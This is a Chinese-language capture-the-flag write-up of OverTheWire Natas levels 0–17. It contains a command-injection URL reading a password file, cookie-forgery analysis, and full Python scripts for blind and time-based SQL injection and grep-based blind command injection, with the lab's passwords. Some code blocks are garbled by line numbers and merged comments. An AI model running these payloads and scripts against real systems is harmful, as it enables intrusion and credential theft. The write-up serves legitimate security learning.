overthewire natas靶场
第0关
在html代码中,右击获取就行
第1关
禁右键了,加上vview--soource
第2关
这里,说明files下有路径,查看可得
第3关
还是信息泄露
在 Web 开发中,如果你想告诉搜索引擎的爬虫(比如 Googlebot)不要去抓取网站的某些特定目录或文件,通常会在网站的根目录下放置一个特殊的文件。
第4关
referer伪造
第5关
cookie伪造
第6关
第7关
路径穿越
第8关
这里是先对密码进行base64加密,然后反转,最后转hex,所以
第9关
命令执行漏洞http://natas9.natas.labs.overthewire.org/index.php?needle=%3B+cat%20/etc/natas_webpass/natas10+%22%22+%3B&submit=Search
第10关
这里其实还考察了php grep的多文件扫描机制
grep -i .* /etc/natas_webpass/natas11 dictionary.txt
这样一来,grep 就把这段命令解析成了:
- 要搜索的内容:
.*(正则表达式,代表匹配任意字符) - 搜索目标 1:
/etc/natas_webpass/natas11(我们真正想看的密码文件) - 搜索目标 2:
dictionary.txt(原本字典文件)
第11关
取出php代码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
$key = '<censored>';
$text = $in;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
function loadData($def) {
global $_COOKIE;
$mydata = $def; //mydata=defaultdata=array( "showpassword"=>"no", "bgcolor"=>"#ffffff")
if(array_key_exists("data", $_COOKIE)) {
$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true); //对coookie的data属性base64解码后异或且json解码
if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {//tempdata=array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
$mydata['showpassword'] = $tempdata['showpassword'];
$mydata['bgcolor'] = $tempdata['bgcolor'];
}
}
}
return $mydata;
}
function saveData($d) {
setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}
$data = loadData($defaultdata); //$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
if(array_key_exists("bgcolor",$_REQUEST)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
$data['bgcolor'] = $_REQUEST['bgcolor'];
}
}
saveData($data);
?>
<?
if($data["showpassword"] == "yes") {
print "The password for natas12 is <censored><br>";
}
?>
解得:
1 | <?php |
第12关
查看源代码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41<?php
function genRandomString() {
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";
for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}
return $string;
}
function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
} while(file_exists($path));
return $path;
}
function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}
if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>
这里就是信任前端隐藏字段绕过
第13关
看看代码
1 | <html> |
存在文件内容头检测绕过绕过
同理可得:
第14关
sql注入,万能钥匙
第15关
一开始还以为是联合注入,结果没注入点,果断换布尔盲注1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45import requests
url = "http://natas15.natas.labs.overthewire.org/index.php"
# 【修正 1】修改为 Natas15 正确的回显特征
true_flag = "This user exists."
# 【修正 2】修改为 Natas15 正确的表单参数名
inject_param = "username"
# 你的认证信息
auth_info = ('natas15', 'SdqIqBsFcz3yotlNYErZSZwblkm0lrvx')
def get_password():
"""利用二分法获取 natas16 的密码"""
password = ""
# Natas 的密码固定为 32 位
for i in range(1, 33):
low = 48 # '0' 的 ASCII 码
high = 122 # 'z' 的 ASCII 码
while low <= high:
mid = (low + high) // 2
# 【修正 3】闭合双引号,目标改为 password 字段,注释符用 #
payload = f'natas16" and ascii(substring(password,{i},1))>{mid} #'
data = {
inject_param: payload
}
# 发送 POST 请求并带上认证
res = requests.post(url, data=data, auth=auth_info)
if true_flag in res.text:
# 页面正常,说明 ASCII 码大于 mid,区间右移
low = mid + 1
else:
# 页面异常,说明 ASCII 码小于等于 mid,区间左移
high = mid - 1
password += chr(low)
print(f"[*] 当前爆破进度: {password}")
print(f"\n[+] 最终拿到的 Natas16 密码为: {password}")
if __name__ == "__main__":
get_password()
第16关
触及知识盲区了,记录下
1 | <? |
这里涉及到Linux的特性,就是对命令替换的绕过
这里需要爆破1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50import requests
import re
url = "http://natas16.natas.labs.overthewire.org/index.php"
# 测试词,就用 appletest_word = "apple"
auth_info = ('natas16', 'hPkjKYviLQctEW33QmuXL6eDVfMW4sGo')
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
print("[*] 开始利用 grep 命令盲注爆破 Natas 17 密码...")
password = ""
while len(password) < 32:
found_char = False
for char in charset:
print(f"[*] 正在尝试: {password}{char}", end='\r')
payload = f"{test_word}$(grep ^{password}{char} /etc/natas_webpass/natas17)"
params = {'needle': payload}
try:
res = requests.get(url, params=params, auth=auth_info)
except Exception as e:
print(f"\n[!] 网络请求报错: {e}")
exit()
# 【核心修改】精准提取 <pre> 标签内的内容
# 使用正则,re.DOTALL 表示让 . 也能匹配换行符
match = re.search(r'<pre>(.*?)</pre>', res.text, re.DOTALL)
if match:
# 获取 <pre> 里面的纯文本结果
pre_content = match.group(1).strip()
# 如果结果是空的(即啥也没搜出来),说明我们子命令执行成功,干扰了外层 grep # 这就意味着我们猜对了当前的字符!
if pre_content == "":
password += char
print(f"\n[+] 发现字符!当前进度: {password}")
found_char = True
break else:
print("\n[!] 警告:没有找到 <pre> 标签,网页结构可能变了?")
exit()
if not found_char:
print("\n[!] 跑完了一整圈,没有匹配到任何字符!这不应该发生。")
break
print(f"\n[+] 爆破完成!Natas 17 的最终密码为: {password}")
第17关
此关对于所有报错都注销了,意味着我们只能通过时间注入来获取密码
1 | import requests |
爆了好几次不对,用ai加了一个防抖包机制1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62import requests
import time
url = "http://natas17.natas.labs.overthewire.org/index.php"
# 【重要】请务必将下方替换为你自己持有的正确 natas17 密码
myauth = ("natas17", "EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC")
time_threshold = 5 # 增加延迟阈值以对抗服务器波动
def test_payload(payload):
"""
发送 payload 并测试是否发生延时。
返回 True 表示发生延时(或超时),False 表示未延时。
""" mydata = {"username": payload}
try:
start_time = time.time()
# timeout 设置必须比 time_threshold 大不少,防止 requests 过早掐断连接
requests.post(url, data=mydata, auth=myauth, timeout=12)
return (time.time() - start_time) >= time_threshold
except requests.exceptions.Timeout:
# 如果请求直接触发了 timeout,说明服务器挂起了很久,视为条件为真
return True
except requests.exceptions.RequestException as e:
print(f"\n[-] 请求异常: {e}")
return False
def get_password_by_time_robust(length=32):
password = ""
print("[*] 开始执行基于时间盲注的爆破 (附带网络防抖机制)...")
for i in range(1, length + 1):
low = 48 # '0' 的 ASCII high = 122 # 'z' 的 ASCII
while low <= high:
mid = (low + high) // 2
payload = f'natas18" AND IF(ASCII(SUBSTRING(password,{i},1))>{mid}, SLEEP({time_threshold}), 0) #'
# 第一次测试
is_delayed = test_payload(payload)
# 核心防误判逻辑:如果发生了延时,再测一次进行确认!
if is_delayed:
print(f" [~] 字符位置 {i} (mid={mid}) 疑似延时,进行二次确认...")
time.sleep(0.5) # 稍微停顿,减轻 OTW 服务器压力
is_delayed_again = test_payload(payload)
if is_delayed_again:
# 两次都延时,确认是 True low = mid + 1
else:
# 第二次没延时,说明第一次纯属网络波动,判定为 False print(" [!] 判定为网络卡顿,已自动纠正。")
high = mid - 1
else:
# 没有延时,直接判定为 False high = mid - 1
password += chr(low)
print(f"[*] 当前爆破进度: {password}")
print(f"\n[+] natas18 的最终密码为: {password}")
if __name__ == "__main__":
get_password_by_time_robust()





































